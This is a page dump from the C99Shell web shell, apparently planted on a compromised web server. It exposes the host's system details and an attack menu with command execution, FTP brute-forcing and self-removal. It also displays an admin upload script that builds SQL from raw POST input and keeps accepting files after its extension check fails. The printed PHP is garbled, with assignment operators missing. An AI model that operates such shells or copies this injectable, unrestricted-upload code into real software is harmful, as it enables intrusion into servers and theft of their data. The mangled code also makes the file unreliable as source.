!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_course_action.php (3.29 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require("connection.php");
session_start();
$technology=  $_POST["technology"];
$title=  $_POST["title"];
$hour=  $_POST["hour"];
$placement=  $_POST["placement"];
$cost=  $_POST["cost"];
$description$_POST["description"];
$course_details $_POST["course_details"];
$heading_prefix $_POST["heading_prefix"];
$heading $_POST["heading"];
$url_code=$_POST['url_code'];
$main_content=$_POST['main_content'];
$resume_content=$_POST['resume_content'];
$course_type=$_POST['course_type'];

$targetDir "/var/www/html/packageImages/";
$fileName basename($_FILES["image"]["name"]);

$targetFilePath $targetDir $fileName;
$fileType pathinfo($targetFilePath,PATHINFO_EXTENSION);

     
$image $fileName;
               
$errors= array();
      
$file_name $_FILES['image']['name'];
      
$file_size =$_FILES['image']['size'];
      
$file_tmp =$_FILES['image']['tmp_name'];
      
$file_type=$_FILES['image']['type'];
      
$file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));
      
      
$extensions= array("jpeg","jpg","png");
      
      if(
in_array($file_ext,$extensions)=== false){
         
// $errors[]="extension not allowed, please choose a JPEG or PNG file.";
         //echo '<script>alert("extension not allowed, please choose a JPEG or PNG file.")</script>'; 
        // $msg="extension not allowed, please choose a JPEG or PNG file.";
          
header("location:course_add.php?ex=1");
      }
      
      if(
$file_size 2097152){
         
//$errors[]='File size must be excately 2 MB';
        // echo '<script>alert("File size must be excately 2 MB")</script>'; 
       // $msg="File size must be excately 2 MB";
         
header("location:course_add.php?ex=2");

      }
      if(empty(
$errors)==true){

             if(
move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)){
           
                 
$query="insert into course_details(`heading_prefix`,`heading`,`technology`,`name`,`hour`,`placement`,`image`,`cost`,`status`,`description`,`course_details`,`url_code`,`main_content`,`resume_content`,`course_page`,`popular`,`course_type`)values('$heading_prefix','$heading','$technology','$title','$hour','$placement','$image','$cost','0','$description','$course_details','$url_code','$main_content','$resume_content','20','0','$course_type')";
                    
$result=$con->query($query);
                    
$count=$con->affected_rows;
                    if(
$count>0)
                    {
                      
$msg "successfully inserted";
                         
header("location:course_add.php?ex=3");
                    }
                    else

                    {   
                        
$msg "Something went wrong";
                         
header("location:course_add.php?ex=4");
                    
// echo $query;
                     
}



            } else {

               
// echo '<script>alert("File Upload not successfull")</script>'; 
              //$msg="File Upload not successfull";
               
header("location:course_add.php?ex=5");
               
            }
       }
       else {
                
//echo '<script>alert("Something went wrong!")</script>'; 
       // $msg="Something went wrong!";
         
header("location:course_add.php?ex=6");
                
            }
 
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0058 ]--